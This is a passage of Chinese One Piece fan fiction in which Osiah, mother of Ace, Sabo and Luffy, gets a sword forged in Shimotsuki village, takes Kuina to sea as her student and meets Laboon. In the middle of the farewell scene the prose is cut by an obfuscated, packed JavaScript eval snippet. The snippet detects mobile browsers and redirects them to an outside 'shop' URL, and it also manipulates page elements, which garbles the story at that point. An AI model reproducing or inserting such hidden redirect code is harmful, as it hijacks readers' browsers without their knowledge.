奥西娅驾驶着小船离港口越来越远。 “老妈/妈妈——！路飞——！一路顺风啊！” 村民们或微笑着或不舍地挥手道别，“再见！要早点回来啊！” “路上小心啊！礼物什么的不带回来也可以哦！” “奥西娅桑，路飞！一路顺风！再见！” “再见了！路飞，在海上要好好听妈妈的话啊！” 路飞脸上带着大大的笑容，一边对着港口的方向挥手，一边跟着学舌：“再见！再见！再见！” 艾斯和萨博拍着彼此的肩膀相互安慰：“有老妈/妈妈在，他们一定没问题的！” “说起来路飞真不愧是奥西娅桑的孩子呢，那么小就敢跟着妈妈一起出海，真勇敢呀！” “是啊是啊，别看路飞是三个孩子里年纪最小的，没想到胆子意外的大呢！” “……话说回来，船上是不是多出来了什么东西?” “……” “……” 两拨人马就这么彼此对视着道别，足足过去了一分钟，奥西娅的船都漂出去百十来米了，两边才倏地有了反应，眼珠子都要瞪出来了！ “等等！路飞你为什么会在船上啊?！” “可恶！快点游回来啊！” “喂！他那么小根本不可能自己游回来吧！” “可恶，那个小混蛋，我就说你平时太宠他了，萨博！” 无辜躺枪的萨博：? 路飞的融入过于自然，以至于两拨人在最开始都没反应过来有什么不对，最后还是奥西娅把船重新驾驶回了港口。 她要收回之前觉得路飞是三个孩子里最独立的那个的想法，他只是还没搞清楚状况而已。 艾斯一拳捶在路飞头上，鲨鱼齿：“路飞，你又不是那一边的！说什么再见啊！” 路飞捂着头上的包，似乎还没搞清楚状况，黑色的大眼睛直勾勾地看向奥西娅：“妈咪?” 奥西娅摸摸他的小脑袋，“路飞，妈咪要出海啦。” “不带路飞去嘛?” “这一次不可以哦。” 路飞攥住她杏色的裙摆，仰起小脸望着她：“路飞也一起去！” “路飞是男子汉对不对？” “嗯呢！路飞是男子汉，路飞是要成为海贼王的男子汉！” “呦西！那妈咪不在家的时候，路飞会帮我照看好艾斯和萨博的对不对?” “……” 路飞瘪着一张可怜兮兮的小脸。 “妈咪保证，我很快就会回来的。” 小孩儿不清不愿地松开手：“要早点回来哒。” “嗨，那我就放心地把哥哥们拜托给你了，路飞。” …… 路飞站在港口，看着奥西娅驾驶着小船离自己越来越远，他的小手紧紧攥着衣服上的齐天大圣小布偶，那是奥西娅帮他缝上的，特别可爱。 直到奥西娅的小船渐渐消失在了海平面……一直憋着眼泪的小路飞才呜哇呜哇地号啕大哭起来，嘴里喊着“路飞要妈咪”“妈咪快回来”“带路飞和哥哥一起走”一类的颠三倒四的话。 被他这么哭着一喊，艾斯和萨博也绷不住了，三个小家伙在港口抱头痛哭，那一声声的“妈咪/妈妈/老妈”、“艾斯”、“萨博”、“路飞”，仿佛跟被抛弃了一样。 奥西娅若有所感地回头看向已经变成米粒大小的港口，好悬才忍住没把小船重新开回去。 总而言之，患有“宝宝依赖症”的年轻母亲终于顺利出海，开始了“宝宝依赖症”的“戒断”之旅(划掉)……开始了她的第一次航海旅行。 这一年，奥西娅二十三岁，艾斯和萨博六岁，路飞三岁。 4. 第 4 章 (一) 奥西娅的航海之旅并非一帆风顺，虽然已经跟村里出过海的老人家学习了不少航海知识，但理论跟实操之间果然还是有距离的。 以前看动漫的时候就知道这片大海是很神奇的，但真等自己去亲身经历了那些，她还是大开了眼界……无论是奇异的动、植物，还是千奇百怪的人类造型。 途中，奥西娅嫌弃单靠风帆带动小船的行驶速度太慢且行驶方向不容易控制，于是异想天开地准备逮只海王类当代步工具…… 嗯，然后就被海王类教做人了。 本来就不大的小船被海王类啃了个稀巴烂，拜托风车村的老铁匠帮忙打造的普通铁剑也断了……奥西娅的旅途被迫中断，她完完全全感受到了来自大海的魅力和危险。 但好在她是有点运气在身上的，坐着一块船被毁掉后留下的木板漂流到了一个叫霜月村的地方。 霜月村，虽然她是第一次来，但这个名字并不陌生，是索隆的故乡啊……没准儿她能在这里寻到一把趁手的好剑。 霜月村鲜少有外人进入，奥西娅一来就获得了当地人的极高关注，村里的小孩们躲躲藏藏地跟在她身后，时不时传了一、两句天真的童言童语。 奥西娅失笑，从广袖的暗袋里掏出一把糖果，朝他们招手。 自从当了母亲，她就有了随身带着糖果的习惯。 小孩们见那个仙女似的大姐姐拿出糖果，立刻欢呼着一拥而上，毫无戒心，奥西娅都有点替他们父母头疼了。 被糖果收买的小朋友格外热情，在知道仙女姐姐想找一把趁手的剑后，就要带她去当地的一心道场…… “如果想要一把最好的剑！就要去找一心道场的耕三郎爷爷。他是世界上最好的锻刀师！” 孩子们簇拥着奥西娅朝一心道场的方向前进，叽叽喳喳地讲着耕三郎锻造的刀剑有多么厉害！ 一行人刚来到道场门口，就听到一个男人声音平静的陈述：“女剑士因为体力的限制，永远也成不了世界第一。” 奥西娅愣了一下，下一秒一个深蓝色齐耳短发的小姑娘就从门里冲出来，一时不察，猛地撞进她怀里。 “嘶……”小孩们窃窃私语，“是古伊娜姐姐，她心情又要不好啦，超凶的！大家快跑！” 一群小孩做鸟兽四散。 古伊娜：“……” 这群小鬼。 头顶传来清浅的笑声，女子的怀抱十分温暖柔软，带着淡淡的不知名香味…… 古伊娜小脸泛起一层嫣红，赶紧从对方怀里退出来：“……斯密马赛，我刚才跑的太急，撞到了你。” 奥西娅在对方想要跑掉的时候，抬手按住了她的肩膀，古伊娜发现自己居然完全挣脱不开…… 她掏出一块素色的帕子给小姑娘擦掉眼眶周围的眼泪，“关于刚才那位先生的话，我可不能认同哦。” “……唉?” “因为我就是一个女剑士呢，所以我十分肯定剑术一道并不以体力的多少来论英雄。” 说完这句话，女剑士就松开了她朝道馆走去，古伊娜眨眨眼睛，鬼使神差地跟在了对方身后，然后她就听到女剑士用十分礼貌的措辞表达了自己想要踢馆的意图。 “馆主桑您好，我名为波特卡斯·D·奥西娅，是一名女(重音)剑士，来此是为了寻求一把趁手的好剑。” “诚然，各人有各人在剑术一道上的理解，但听到您刚才的发言，我感觉有些被冒犯到了，所以希望您愿意接受我的论剑请求。” 霜月耕四郎：“……” 他解释，“波特卡斯小姐，我刚才的那些话……” 月见轻飘飘抬手：“多说无益。” 霜月耕四郎：“……” 耕四郎抽出腰间的单刃长剑：“那就开始吧……你的剑呢？” 只见对面衣袂翩翩的女剑士并拢双指竖在身前，然后道馆里甭管是木剑、竹剑还是铁剑全都神奇地飞到了半空，把他环绕其中不断旋转。 “剑在这里。” 话音刚落，半空中旋转的刀剑齐齐调转方向，将剑尖刀刃对准耕四郎。 霜月耕四郎：? ……这似乎有点不科学了吧? “你是恶魔果实能力者?” “不，我只是个普普通通的纯血女(重音)剑士。” “……” 好大的怨气啊……耕四郎不再闲言，双手握刀，专心应付起接二连三、成双结对地对着他进攻的刀剑。 …… 听村里人说又有人去一心道场踢馆，索隆立刻拿上他的两把剑赶往现场…… 他跑的飞快、步伐如风……然后拐错了1、2、3……N个路口。 等索隆费了老鼻子功夫赶到现场时，奥西娅和耕四郎的比试已经进入到白热化阶段。 索隆看着被一把、两把、三把、四把、五把、六把、七把、八把、九把、十把、十一……根本数不完的刀剑群围攻的师傅，眼睛亮的惊人！ 他自己目前仅仅是使用两把剑就会感到体力不□□个女人却可以同时使用那么多把剑吗?！ 索隆握紧手里的剑，剑士的热血在沸腾，那个人，这是值得挑战的强者啊！ (二) 奥西娅使用的是蜀山剑阵，剑阵里的刀剑并非是胡乱排布的，就像大雁南飞时的阵型有头有尾，头雁费力、尾雁却可以躺平被带飞是一个道理…… 剑阵中也区分为主要消耗法力的“阵眼剑”和可以说是完全不消耗法力就能被剑阵磁场带动的非阵眼剑。 想要打破剑阵只有两种方法。 一，找出阵内的阵眼剑毁掉。 二，把全部的剑都斩断。 “斯国一……”古伊娜看向女剑士的眼睛越来越亮。 如果、如果有女剑士可以打破体力上限做到这种程度，那自己将来一定也可以！ 不过，古伊娜搞错了一件事情，奥西娅她并不是使用体力挥剑，而是法力……诚然，在体力上限的比拼中，同级别的女剑士大多会逊色于男剑士，但谁说耍剑一定得费体力呢? 奥西娅她的法力多，用法力不可以吗？ 等耕四郎握着手里的一把剑把排队跟他“比试”的百十来把剑都斩断后，连忙摆手：“波特卡斯小姐，我收回自己刚才的话，并为自己的无知向您道歉。” 被砍断的可都是他家道馆的剑……谁心疼谁知道。 双方都清楚彼此没出全力，心照不宣地各自收起剑势。 他们一个对全力一战然后把自家道场彻底铲平这件事完全没兴趣，另一个也不是得理不饶人的性格，而且还得拜托人家亲爹铸剑呢。 “喂！你这家伙很强嘛！跟我决斗吧！” 奥西娅顺着声音低头，就看到了……一颗好圆的绿藻头。 “扑哧~” 索隆被她笑得小脸涨红，爆出鲨鱼齿：“笑什么笑啊你这个女人！” “不可以笑嘛?” 她笑得眉眼弯弯，声音里带着上扬的笑意，“我只是单纯地因为遇见小帅哥感到开心而已。” “……你、你这个胡说八道的家伙！” 索隆挥着刀冲向奥西娅。 对方轻轻抬手，他手里的刀剑就带着紧握刀柄不撒手的小主人一起飘到了半空中。 索隆：“什么?” “想试试御剑飞行吗?很有趣哦。” 索隆：? 没等他做出回答，被他握在手里的刀剑就带着他突然飞了出去，速度越来越快，道场里响起小孩子兴奋和惊恐掺杂在一起的叫喊声：“啊啊啊啊砍了你啊可恶的女人——！” 古伊娜愣了一下，然后捂着肚子哈哈大笑，但下一秒，收入白色刀鞘的和道一文字也从仓库里飞了出来，亲昵地绕着她转了一圈，刀柄一挑，就让她坐在了自己的刀身上，带着她朝索隆“飞走”的方向追去。 女儿银铃般清脆的笑声渐渐远去，耕四郎好笑地收回视线，他看向月见，小圆眼镜反射着白色的日光：“想要一把趁手的好剑吗？那还要拜托我的父亲才行。” “那就麻烦您引荐了。不过我需要的剑有点特殊。”奥西娅拿出剑稿递给过他。 耕四郎看到剑稿上的形制和要求十分诧异，“双刃剑吗？还要有跟腰带一样的柔韧度？这种要求还真是少见，毕竟一般来说，越好的剑它的刀身就越坚硬。” “呐，在我的家乡有句老话，过刚易折，柔可克刚。” (三) 奥西娅请耕三郎帮忙锻造的是一种软剑，腰带剑。 顾名思义，使用这种剑的人，往往会把身上的腰带做成配套的剑鞘，收剑入鞘后形如腰带可以缠绕在使用者腰间。 腰带剑是与硬剑完全不同的剑器，剑身柔软如绢，力道不易掌握运用，习练时又须精、气、神高度集中，在剑器种类中属高难型剑术……但奥西娅很喜欢，上辈子在蜀山上用的就是这种剑。 软剑不适合砍与刺，但可以割，能够轻易割断血管与关节处的韧带。挥动起来形似鞭子，速度极快，即使一击不中，只要一抖就可以迅速下一击，让人防不胜防，杀伤力极强。 “用力屈之如钩，纵之铿然有声，复直如弦，可以屈置腰带中，纵之复直……” 霜月耕三郎看着剑稿上对腰带剑的介绍，双眼放光，老爷子锻刀铸剑了大半辈子，还是第一次见这种剑型。 锻造一把好剑是需要时间的，不说反复锤炼的过程，想要收集到适合的材料就说不准得花多久……但幸运的是，耕三郎手边刚好就有很合适的材料。 作为报答，奥西娅不仅支付了昂贵的贝利，还画了子母剑的图稿送给对方。 对此，耕三郎老爷子显然十分满意，大手一挥把古伊娜和索隆丢给她当“玩具”，希望她在等待铸剑的这段时间里能够玩得开心，然后就带着剑稿兴致勃勃地回去研究了。 奥西娅：? 她低下头，跟两个同样懵逼的孩子大眼瞪小眼。 (四) 奥西娅暂时在霜月村停留了下来。 耕三郎把古伊娜和索隆丢给她，当然不是真的让她去“玩”孩子…… 高昂的报酬+从未见过的新奇剑稿+委托人还算合眼缘+指导一下他孙女和看好的小孩的剑术，以此来支付隐世锻刀师千金难买的杰作。 奥西娅觉得这波不亏。 她也不藏着掖着，什么最合适两个孩子目前的发展，她就教什么。 对于古伊娜这个既有天赋又肯吃苦的小姑娘，奥西娅是越教越喜欢，教了剑术又教法术，而且古伊娜居然可以做到引气入体！ 一股后继有人的喜悦油然而生。 至于索隆，在剑术一道上，他跟古伊娜是完全不同的两种天才。 他们同样都是天赋惊人，但索隆的路子更刚、更野，让他“循规蹈矩”地去走别人的路，只会浪费他的天资。 或许他的师傅耕四郎也是因为意识到了这一点，所以才只教这孩子最基础的刀剑动作——刺、劈、撩、挂、斩、削、架、拦、带、穿——而对他的路数从不加以干涉。 奥西娅也不敢托大去教索隆，她跟他分享了很多自己在练剑上的心得感悟，就完全由着他在旁边自己修行了。 (五) 古伊娜一直很在意……“奥西娅桑，您是怎么打败我父亲的呢?” 一旁，胳膊上绑着负重练习挥剑的索隆也把耳朵竖了起来。 “……” 奥西娅哭笑不得，“也没有打败耕四郎桑啊……” “成如他所说的，在体力问题上，同级的男剑士天生比女剑士更具优势，但这并不意味男剑士一定会强于女剑士。” “所谓强，不是指力气，也不是指技巧，而是指剑士的剑心。” “弱，能胜强；柔，可克刚；静，能制动。以柔克刚，以静制动，以弱胜强。” “身为剑士，不管在什么时候，都要保持着高度的警戒状态，不去轻视任何一个对手。” “剑心、剑道、天生的资质、后天的努力、天赐的机遇乃至命运……方方面面综合起来才能成就一位举世闻名的大剑豪。” 索隆早就把竹剑丢到了一边，盘腿坐在草地上听奥西娅的教导，他臭着一张小脸，不耐烦地“啧”了一声，“管他是男是女，是强是弱，如果是敌人的话，我就砍了他。” 奥西娅：“……” 古伊娜：“……” 索隆：“……你们那是什么眼神儿?我不宰了他，难道等着他宰了我?” 奥西娅和古伊娜对视一眼，俩人故意继续不说话，然后一直盯着索隆。 “……” 索隆的小脸果然臭不下去了，颜色越来越红，在快要冒烟儿的时候爆出鲨鱼齿：“喂！我可不是那种任人宰割的窝囊废！想和我较量的话，我来者不拒！” “扑哧~” “噗~” “哈哈哈哈哈哈哈哈太不禁逗了吧，索隆！” “果然还是个小孩子嘛哈哈哈哈哈哈！” “……” 见她俩笑得前仰后合，索隆还有什么不明白的，“混蛋！敢耍我！砍了你们啊！” “哈哈哈斯密马赛，斯密马赛……” 把人逗恼了可就不好玩了……奥西娅抬手呼噜呼噜那颗小绿藻头顺毛，“加油吧，索隆。你以后一定会成为开创某种刀剑流派的大剑豪！” “啰、啰嗦！那是当然的啦！” 他望向奥西娅，眼神坚定：“将来，我一定会去挑战你的！我要打败你，成为世界第一大剑豪！” “……” 海风吹过竹林，竹叶沙沙作响。 “好啊。” 那个可以使用很多很多把刀剑的剑士盘腿坐于绿草如茵处，午后的日光穿透层层叠叠的竹叶，光影倾洒在了她身上。 她托腮看着他，唇角晕染开浅淡的笑意，留下一个承诺，“那就试着超越我吧，罗罗诺亚·索隆，我会在那片大海上等着你来。” (六) 耕三郎把剑锻造出来了，不管是用起来还是看起来都十分符合奥西娅的手感和审美。 剑身细长，寒光凛凛，剑柄用月白色的矿石制成，上面雕刻着祥云状的防滑纹路，与此剑的名字极为相称——云澈。 耕三郎抽着嘴里的烟斗，毫无预兆地放出一个炸弹，他要趁自己还活着的时候锻造出不输大快刀二十一工的奇刀系列。 奥西娅：? 大快刀二十一工? 是她想的那个大快刀二十一工嘛?！ “云澈就是其中的第一把……”老爷子嘴角浅含笑意，一副运筹帷幄的资深大佬表情。 奥西娅刚要肃然起敬，就见他又从背后掏出一把单刃腰带剑，剑形跟和道一字文相似，只不过刀柄为黑色，带着星星点点的银色暗纹。 “这是第二把，井宿一宿。” 奥西娅：??? 桥豆麻袋，原来堪比大快刀的名刀是可以批量锻造的吗？！ “哼……”耕三郎一看就知道这小丫头不相信，却不多做解释，只是道：“刀和它的主人是相互成就的，可别让云澈止步于大快刀啊。” 奥西娅一怔，“您的意思是，云澈还可以继续升级?” 耕三郎但笑不语，摆摆手，示意她可以离开了。 (七) 竹林里，奥西娅手持云澈舞的猎猎生风。 古伊娜站在不远处安静地看着。 在她以前的认知里，剑是锋利的、是刚硬的、是斩断一切的，最好的剑士即便是斩断钢铁也轻而易举。 古伊娜第一次知道，原来剑也可以那么柔、那么美，在奥西娅手里，剑轻灵的像是一只翩翩起舞的蝴蝶。 纷纷扬扬的竹叶飞舞在她身边，落在她白色的裙摆上、被风鼓动的广袖上还有月华如练的锋利剑刃上。 爷爷说，云澈是吹毛利刃的杰作。 但在奥西娅手里却“钝”得连片薄薄的竹叶也斩不断……古伊娜想起她对自己跟索隆说过的话，所谓大剑士，就是不仅可以斩断自己想要斩断的一切，也可以斩不断自己不想斩断的一切。 她当时不懂，现在却有些明白了……大剑士的利剑是可以选择去怜惜一片竹叶的。 古伊娜擦掉上涌的泪水，继续看奥西娅舞剑……她知道，剑锻好了，奥西娅就要离开这里了。 …… 熟悉完云澈的手感，奥西娅收剑入鞘，月白色的云纹腰带勾勒出盈盈不堪一握的腰身，丝毫看不出里面还藏着一把剑。 她满意地拍拍腰间，一回头就看到了小姑娘泪流满面的样子。 古伊娜：QAQ 奥西娅：? 奥西娅有些哭笑不得，她大概能猜到小姑娘是因为什么在伤心，不过…… “古伊娜，你愿意跟我一起出海吗?” ……不过，自己也没打算让小姑娘继续留在这里呀。 “……”古伊娜瞪大眼睛，没流完的眼泪卡在眼眶里：“唉——?！！！！” 奥西娅拿出手帕帮她擦眼泪，“我之前已经拜访过你父亲和爷爷了，他们没有反对。所以，现在你只用遵循自己的内心就好。” “古伊娜，你愿意跟我一起去大海上修行一段时间吗？” “……” 古伊娜使劲点头。 (八) 带古伊娜一起离开这件事，并不是一时兴起。 很欣赏古伊娜这个不服输的小姑娘，想让她成为自己的亲传弟子是一回事。 但比起这个，真正让奥西娅下定决心、不顾海上未知的危险，让古伊娜一个不过七岁的小孩子跟她一起出海的根本原因还在于…… 在《海贼王》的原剧情里，索隆的那个青梅竹马、跟他约定好要一起成为大剑豪的女孩——古伊娜，她会在十一岁那年从楼梯上摔下来，就此香消玉殒。 明明她才那么小，她的梦想、她跟索隆的约定都才刚刚开始…… 与其放任古伊娜走向那样的命运，不如把她带去大海。 大道五十，天衍四九，尚有一线生机。 《海贼王》原剧情里的那些命运只是一种趋势，而非结果。 奥西娅相信，事在人为。 (九) 离开那天，耕三郎和耕四郎来给二人送行。 至于索隆为什么没有来? 想想索隆身上神奇的路痴属性吧……嗯，他可能已经很努力地在赶来的路上了。 耕四郎轻轻叹出一口气，语气欣慰又无奈，对奥西娅道：“古伊娜这孩子就拜托你了，奥西娅桑。” “放心。” 对方毫不客气地说道：“继续留在这里，你们这群男、剑、士只会埋没她的天赋，我才是最适合这孩子的剑道老师。” “……” 耕四郎赔笑：“我已经为那句话道过很多次歉了，奥西娅桑。” “你道歉我就要原谅你吗？而且你应该道歉的人难道是我吗？” “……” “你知不知道什么叫做言语如刀剑，毁人于无形?” “……嗨、嗨，我已经认识到自己的错误了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097912|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小孩子的心灵多么脆弱啊?咱们这些当家长的应该吧啦吧啦吧啦吧啦……” “嗨、嗨、嗨，奥西娅桑你说的是，我知道了，我真的知道了。” 不理会旁边闲扯育儿经的两个成年人，耕三郎把怀里的井宿一宿递给古伊娜：“成为大剑豪的道路可不是一帆风顺的，到时候不要哭鼻子啊，古伊娜。” “……嗨。” 古伊娜学着月见的样子把井宿一宿的黑底绣星纹腰带剑鞘缠在腰间，声音哽咽：“我才不会哭！我会打倒每一个阻挡我的人，成为世界第一大剑豪！” …… 在广阔蔚蓝的大海上，小竹筏载着新鲜出炉的师徒二人渐渐远去。 等她们的身形变成西瓜大小的时候，终于找到通往港口的正确之路的罗罗诺亚·索隆姗姗来迟。 顾不上跟耕三郎、耕四郎打招呼、顾不上自己满头的汗水，索隆朝着她们的方向使劲大喊：“古伊娜——！” “答应我——！总有一天，不是我就是你，一定要成为世界上最强的剑豪！我们来比比看谁能当上！！！！” 一旁目送女儿远行的耕四郎：“……” 老父亲面无表情：“那么远，她不会听到的。” 索隆刚想反驳，和道一文字就贴着海面飞速御来，剑风破开一路海水，一下子撞上了索隆的脑门上，然后“啪嗒”一声掉进了他怀里。 海天一线的地方传来古伊娜细如蚊呐的呐喊：“说定了——！” 索隆顶着红彤彤的大包、抱着怀里的和道一文字仰脸对耕四郎笑了一下，“她听到了。” 耕四郎：“……” 啧，手痒。 (十) 这片大海不只承载了自由和梦想，也承载了一些很现实的东西，比如钱袋空空的奥西娅。 她把大部分贝利都给了耕三郎，眼下师徒二人的生活有点拮据。 基于上上辈子和上辈子塑造出来的三观和教养，奥西娅做不出当海贼抢掠平民这种事，但要是掠夺海贼那就另说了，尤其是那种烧杀抢掠、无恶不作的大海贼。 抢海贼的事儿能叫抢吗？ 那叫劫富济贫。 嗯，她们就是那个贫。 遇到实力合适的家伙，她就让古伊娜处理，在真刀实枪的磨练下，小姑娘进步飞快。 当然，奥西娅在“劫富济贫”的时候依旧居安思危，她跟古伊娜面覆恶鬼面具、胸部裹平、压着嗓子说话，从不以真面目示人，为的就是以防哪天踢到铁板后方便跑路。 就这样，奥西娅带着古伊娜把一路上遇见的海贼都抢劫一空，抢完了就把他们扔到海军那里去换赏金，确保废物能够回收利用。 因此，在不自知的情况下，奥西娅在海贼猎人的道路拔足狂奔，很快就闯出了自己的名号——鬼面。 (十一) 两个月后，钱袋子满满的师徒二人顺利抵达伟大航路的入口——颠倒山。 小竹筏载着师徒二人乘着水流一路冲上山顶，海浪与狂风之间，古伊娜似乎听到了一声悠扬的鲸鸣。 下一秒，巨鲸鱼小岛般的躯体缓缓出现在她们视线里，古伊娜眼睛都要瞪出来了：“那、那是什么东西啊?！” 直面拉布，它的体型比动漫里还要夸张，奥西娅忍不住惊叹：“真是不可思议的大家伙呢！” “啊啊啊啊——！森塞！它张开嘴巴啦！” 风吹起奥西娅鬓边的两缕长发，海浪翻腾起白色的泡沫，竹筏发出不堪负重的“吱呀”哀鸣，在即将掉入岛鲸嘴里的那一刹，她单膝跪地双手撑住竹筏。 “古伊娜，站稳了。” 话落，澎湃的法力翻涌着肉眼可见的海蓝色荧光被注入到了竹筏里，下坠的竹筏载着两人冲天而起，在被鲸鱼翻腾起来的浪花间蛇形走位。 她们跟鲸鱼巨大的眼睛擦肩而过，古伊娜的心跳都漏了一拍，那是比她和森塞再加上竹筏合起来还要大很多的眼睛！ 风声、海浪声、鲸鱼的鸣叫…… 古伊娜的心跳越来越快，眼睛亮的惊人：“森塞！除了剑，船也是可以御的嘛！” “御剑的本质是御物，只要法力充足，岛屿都可以飞上天哦，古伊娜。” …… 小竹筏最后降落在了双子岬的灯塔附近。 一道声音突然出现在师徒二人背后：“真是不可思议的能力，你们是谁?” “啊啊啊啊——！”古伊娜措不及防被吓了一跳，“询问别人的时候，不应当先自报家门吗？” “啊……斯密马赛。”发型像花瓣的老大叔性格十分飘忽不定，上一秒还十分冷淡，下一秒就礼貌地自报起家门：“我叫库洛卡斯，是双子岬的灯塔看守……”剩下的话被双子岬剧烈的震动打断。 古伊娜看向突然发狂撞击红土大陆的岛鲸，它头上交错纵横着陈年疤痕，“它在干什么?再这么撞下去它会死的！” 库洛卡斯没时间给小姑娘解答，他利落地攀到拉布身上，往鲸鱼背上的阀门赶去。 但拉布撞击的动作太猛烈，库洛卡斯稍不注意就会被甩到大海里，拉布的额头也因为撞击出现了新的伤口。 他大声安抚：“拉布！冷静下来！” 拉布肯冷静下来才怪，但下一秒，岛鲸周围的海水突然凝聚成了一个巨大的水球，把它包裹其中飘到了半空。 拉布在水球里挣扎，发出悲伤的嘶鸣。 奥西娅保持单手托举的动作，提醒愣住的库洛卡斯，“我坚持不了太久哦。” “辛苦了！”库洛卡斯回神，争分夺秒地打开阀门进入拉布体内，成功注射了镇静剂。 看着狂躁的岛鲸逐渐安静下来，奥西娅动作轻柔地把它放回大海。 库洛卡斯从拉布体内出来后第一时间跟她道谢：“帮大忙了，小丫头。” “您太客气了库洛卡斯桑，我叫波特卡斯·D·奥西娅，这是我的学生古伊娜。” 古伊娜十分好奇：“库洛卡斯桑，这头鲸鱼为什么要撞击红土大陆呢？” (十二) 这是一个海贼团跟鲸鱼之间的约定。 “它叫拉布，是一只拥有着人类感情的鲸鱼。我还记得那时候是三十六年前，我如常在灯塔驻守着，从西海来了一群很豪爽的海贼……” …… 三十六年前，伦巴海贼团决定进入伟大航路冒险。 但由于那里太过危险，他们决定把船宠小拉布留在颠倒山前，托付给双子岬的灯塔看守员库洛卡斯代为照顾。 “等我们绕世界一圈再回来的时候，就能见面了，拉布！”他们跟小鲸鱼做下约定。 于是它留在了红土大陆的这一面，等待，等待，等待…… 等待的时间是很漫长的，它从小小的鲸鱼变成了比岛屿还要魁梧的存在，甚至它的身体里都有了一片海洋。 …… “我曾经跟着一个相当不错的男人出海，沿途寻找伦巴海贼团的下落，后来才知道他们已经死在伟大航路了。” 库洛卡斯看向大海里的拉布，“回来后，我把伦巴海贼团的事情告诉了它，但它一直不愿意相信，这几十年来它不断用头撞着红土大陆，想要进入伟大航路去寻找他们。” “岛鲸是一种群居动物，拉布已经把那群海贼当成同伴了。” “……” 古伊娜听得鼻子发酸，把脸埋进奥西娅怀里，紧紧攥着她腰间的衣服，“怎么会这么……” 奥西娅安抚地顺着她的头发：“会重逢的。” “在将来的某一天，一定会有人帮它跟同伴重逢的。” “真的吗，森塞?” “真的哦，古伊娜。” 悠扬的鲸鸣声再次响起，奥西娅看向拉布，“不管过去多久，几年、几十年、几百年……定下的约定一定会被实现哦，这是属于这片大海的浪漫。” 库洛卡斯不知是想到了什么，拉平的嘴角微微上扬。 休息的差不多了，奥西娅跟库洛卡斯告辞，“那我们就继续出发了，库洛卡斯桑。” 库洛卡斯丢给她一个东西。 奥西娅接住：“这是……” “记录指针，在伟大航路里普通指针和地图无法用来寻找岛的位置，成功到达下一个岛的指引工具只能是它……你应该清楚这一点吧?” 奥西娅：“……” 她还真忘了这回事儿。 尬笑着把记录指针戴在手腕上，奥西娅十分感激：“真是帮大忙了，库洛卡斯桑。” 库洛卡斯：“……” 这完全就是一副很可能会在伟大航路白给的样子啊。 “……姑且问一句，你们不是想去寻找拉夫德鲁吧?” “不不不！”奥西娅连忙摆手：“目前为止，我完全没有这个想法。” “这样啊。”库洛卡斯松了一口气，告诫道：“那里是伟大航路的终点，只有罗杰海贼团抵达过，要去那里的话，就要赌上丢掉性命的……”觉悟。 “但是我儿子一定可以到达那里的！” “……” 库洛卡斯剩下的话被卡在嗓子里，干巴巴地应了一声，“哦，这样啊。” 希望她的儿子不会跟她一样看上去……不太靠谱吧。 古伊娜一整个大震惊，“森塞！你居然有儿子?！” “唉?我没有说过嘛?” “完全没有啊！” “哈哈哈，我有三个儿子呢~” “唉——?！！！！” “那就此再见了，库洛卡斯桑、拉布，我还会再来拜访你们的！” 5. 第 5 章 (一) 伟大航路，一片天气变化无常的危险海域，上一秒可能还是晴空万里，下一秒就很可能会被卷进龙卷风里，船毁人亡。 奥西娅她们倒没倒霉到那种程度，但也没好到哪里去……小竹筏在接连不断的暴风雨里彻底散架，奥西娅只来得及捞回一根竹竿。 师徒二人排排站在仅存的那根竹竿上，奥西娅用法力催动它载着她们在放眼望去一片蓝的大海上前行。 风平浪静的时候，她也会放手让古伊娜去尝试操纵，训练小徒弟对自身法力的掌控度。 竹竿漂流的第四天…… 奥西娅拎着存粮见底的包袱，看起来有些垂头丧气，“……斯密马赛，古伊娜。” “都怪我低估了伟大航路的危险程度，要是在上座岛的时候就换一艘更坚固的船，也不会发生这种事情。” “没关系啦，森塞~就当是修行啦~是修行呀！” 古伊娜倒是看上去心情很不错的样子。 她也是真的心情很不错！ 一方面，她相信以森塞的实力，到了最后关头一定有办法解决当前的困境。 另一方面就是…… 晚上休息的时候，香香软软的森塞会担心她在竹竿上站不稳就把她抱在怀里睡觉哎！ 还会唱很多很多好听的歌、讲很多很多有趣的故事…… 呀……她果然最喜欢森塞了！ 奥西娅：? 她看着突然捂着脸扭来扭去的古伊娜，有些担心：“古伊娜，是身体不舒服吗？” “……” 古伊娜一秒恢复正常：“完全没有，森塞！” “我就是在想，等我能熟练掌握在海面上催动竹子的时候，就可以尝试御剑飞行了吧，森塞?” 奥西娅揉揉她的小脑袋，声音里带着笑意，“如果是古伊娜的话，那一定没问题的。” 古伊娜：！ 她果然最！喜！欢！森塞啦！！！！ 太阳从东边移动到西边，第四天的竹竿漂流就要结束了，依然没有看到可以停靠修整的岛屿。 奥西娅看着被夕阳染成了深浅不一橙红色的海面，心里微微叹气，如果夜幕降临前还遇不上岛屿的话，那就暂时中断航海修行，带古伊娜御剑飞回上一座岛。 她自己饿了、渴了的倒没什么，但总不能让古伊娜这个才七岁的小朋友陪着她一起。 (二) 火似的云霞倒映在海面上，水天一色不分彼此，大半个太阳已经“落进了”海里，奥西娅静静地看着，等它彻底被大海吞没的时候，她就会带古伊娜御剑飞回上座岛。 她在心里默默倒数着时间……等等，那是?！ 视线里，一艘不大但也不小的单桅帆船从那即将被吞没的太阳里破浪而来，黑色的海贼旗迎风猎猎，画着海贼标志的巨大船帆迎风鼓动……离着她们越来越近、越来越近。 …… 雷德·佛斯号上，木色的甲板被夕阳刷上一层光影跳动的金色，船上的海贼们看上去有点提不起劲儿来。 这也不怪他们，毕竟自从离开上一座岛屿后，他们已经在海上连续航行了两个多月了，眼瞅着骨头都要给闲松了。 对于海贼来说，没有冒险的生活就跟要他们的命差不多。 船上的狙击手耶稣布和船长香克斯排排坐在船舷边上钓鱼。五岁的小乌塔在旁边拿着新到手的望远镜玩的不亦乐乎啊。 “小孩子就是好哄啊……”耶稣布打了个哈欠，有些感慨：“刚才还吵着要马上去岛上玩，结果给个望远镜就什么都忘了嘛。” 